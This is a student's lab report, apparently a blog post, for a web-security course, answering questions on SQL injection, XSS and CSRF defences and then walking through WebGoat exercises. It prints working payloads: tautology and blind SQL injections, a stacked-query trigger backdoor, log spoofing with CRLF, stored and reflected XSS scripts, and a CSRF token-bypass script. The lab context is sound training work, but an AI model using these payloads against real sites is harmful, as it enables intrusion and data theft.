Exp9 Web安全基础
Exp9 Web安全基础
20154316 王帅峰
一、实验要求
本实践的目标理解常用网络攻击技术的基本原理。
二、基础问题回答
1. SQL注入攻击原理,如何防御?
- SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。
- 对于SQL注入攻击的防范,主要还是从代码上入手:
- 采用预编译语句集PreparedStatement,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。它的原理就是sql注入只对sql语句的准备(编译)过程有破坏作用,而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,而不再对sql语句进行解析准备,因此也就避免了sql注入问题;
- 使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤;
- 采用字符串过滤的方法;
- jsp中调用该函数检查是否包含非法字符,防止SQL从URL注入。
2. XSS攻击的原理,如何防御?
- SS是代码注入的一种,它允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。
- 防御可以从以下两个方面进行:
- 在表单提交或者URL参数传递前就对其参数进行过滤
- 检查用户输入的内容中是否有非法的内容,例如尖括号、引号等之类的字符,严格控制输出。
3. CSRF攻击原理,如何防御?
- 我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。而CSRF是借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。
- 对CSSRF的防御可以从一下几个方面进行;
- 通过referer、token或者验证码来检测用户提交;
- 尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作;
- 避免全站通用的cookie,严格设置cookie的域。
三、实践过程
1.安装WebGoat
从同学那里考了一份下载好的压缩文件,复制到Linux上边运行
输入
java -jar *.jar
```指令(*表示文件名)即可安装webgoat。
![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121156707-2032030438.png)
![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121203175-1509256582.png)
打开浏览器,输入
127.0.0.1:8080/WebGoat
![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121218116-941451325.png)
#### 2.Injection Flaws
##### Numeric SQL Injection
F12打开浏览器调试模式,通过修改该,Columbia对应值,使得最后传回去的SQL语句变为
SELECT * FROM weather_data WHERE station = 101 OR 1=1
1=1恒成立,即可看到所有城市天气
![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121325218-321745091.png)
##### Log Spoofing
日志伪造,,在Username输入
zh%0d%0aLogin Succeeded for username: admin
%0d和%0a
为换行符,这样就就伪造了内容为Login Succeeded for username: admin的日志
![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121336502-1471120655.png)
##### XPATH Injection
直接构造永真式
20154316' or 1=1 or 'a'='a
![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121348528-1233958821.png)
##### String SQL Injection
构造一个永真式注入
wangshuaifeng' or '1'='1
SQL
语句变为
SELECT * FROM user_data WHERE last_name = 'wangshuaifeng' OR '1'='1'
#### LAB: SQL Injection
##### Stage1:String SQL Injection
这一题就一点小问题,输入框限制了MaxLength,把MaxLength改为一个合适大小之后,修改password=' or'1'='1,done
![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121454836-720068515.png)
##### Stage3:Numeric SQL Injection
和Stage1一样,构造永真式登陆账户,登陆之后修改employee_id参数修改为101 or 1=1 order by salary desc
![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121521731-436251064.png)
##### Database Backdoors
思路就是利用SQL语句注入一个后门,具体操作就是用;将原本填入文本框的语句变为两条SQL语句,实现注入后门的目的
先在User ID输入框输入
101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid.
这样就实现了传入SQL语句
CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid.
实现的功能就是创建新用户时,会自动将email选项填充为我指定的邮箱
![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121540453-2117595995.png)
##### Blind Numeric SQL Injection
盲注,顾名思义就是啥都不知道瞎注,主要是看反馈信息来调整我们的输入来实现SQL注入的效果
数字盲注,在Enter your Account Number输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
根据返回的提示来判断
“(SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000"
通过二分法缩小范围,最后用2364提交成功
![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121556261-1419756378.png)
##### Blind String SQL Injection
相同思路,只不过这个是字符串盲注,在Enter your Account Number输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4312431243124312'), 1, 1) = 'h' );
根据返回提示判断name,最后输入JiLL,爆破成功
![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121610421-1132541076.png)
#### Cross-Site Scripting (XSS)
##### Phishing with XSS
XSS+HTML写一个简单的带表单网站,直接将下面的代码放入输入框,Enter,出现一个登陆框,输入Username和Password之后会弹窗相关信息
```
LAB:Cross Site Scripting
Stage1:
登陆后,点击View profile后,在Street字段输入以下代码:
<script>alert("20154327");</script>
Stage3:
使用“David”登录,然后查看“Bruce”的信息,即可执行之前存储好的跨站攻击脚本
Stage5:执行一个反射XSS攻击
登陆后在Search Staff中输入
“”
Stored XSS Attacks
存储式XSS攻击,也是最经典的,用过将脚本语句放入留言框存储起来,进行攻击
本题直接在Title里输入任意信息,在 Message里输
<script>alert("20154316wangshuaifeng!");</script>
再点击留言板内容
Reflected XSS Attacks
反射XSS攻击中,利用脚本制造一个URL提交到另外一个网站,实现攻击,直接在Enter ur three digit access code中输入脚本,实现攻击
CSRF
Cross Site Request Forgery(CSRF)
这是一个发送邮件的页面,我们只需要在Title输入任意信息,在Message输入
:<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />
点击Submit,Message List就会出现一条提交的记录
CSRF Prompt By-Pass
一样的思路,Title输入任意信息 ,Message输入:
![](https://images2018.cnblogs.com/blog/1357013/201806/1357013-20180603121856834-314080022.png)CSRF Token By-Pass
还是相同的思路,Title输入任意信息,在Message输入代码,submit
<script>
var tokensuffix;
function readFrame1()
{
var frameDoc = document.getElementById("frame1").contentDocument;
var form = frameDoc.getElementsByTagName("form")[0];
tokensuffix = '&CSRFToken=' + form.CSRFToken.value;
loadFrame2();
}
function loadFrame2()
{
var testFrame = document.getElementById("frame2");
testFrame.src="attack?Screen=273&menu=900&transferFunds=5000" + tokensuffix;
}
</script>
<iframe src="attack?Screen=273&menu=900&transferFunds=main"
onload="readFrame1();"
id="frame1" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe>
<iframe id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe>
实验总结与体会
这是网络对抗最后一次实验,实验过程中运用webgoat这个网站做练习,全是英文是最大的困难,做各种网络对抗的练习,发现恶意代码的厉害之处,网络对抗课程就要结束了,这一个学期的学习最重要的就是让我认识到了网络的不安全,注重网络安全是以后生活工作的重中之重,这学期也学到了好多技术方法,在以后工作学习中也能继续去练习使用,总之,这门课让我收获很大,认识到了很多以往不了解的事情!
posted on 2018-05-29 19:42 wangshuaifeng 阅读(221) 评论(0) 编辑 收藏 举报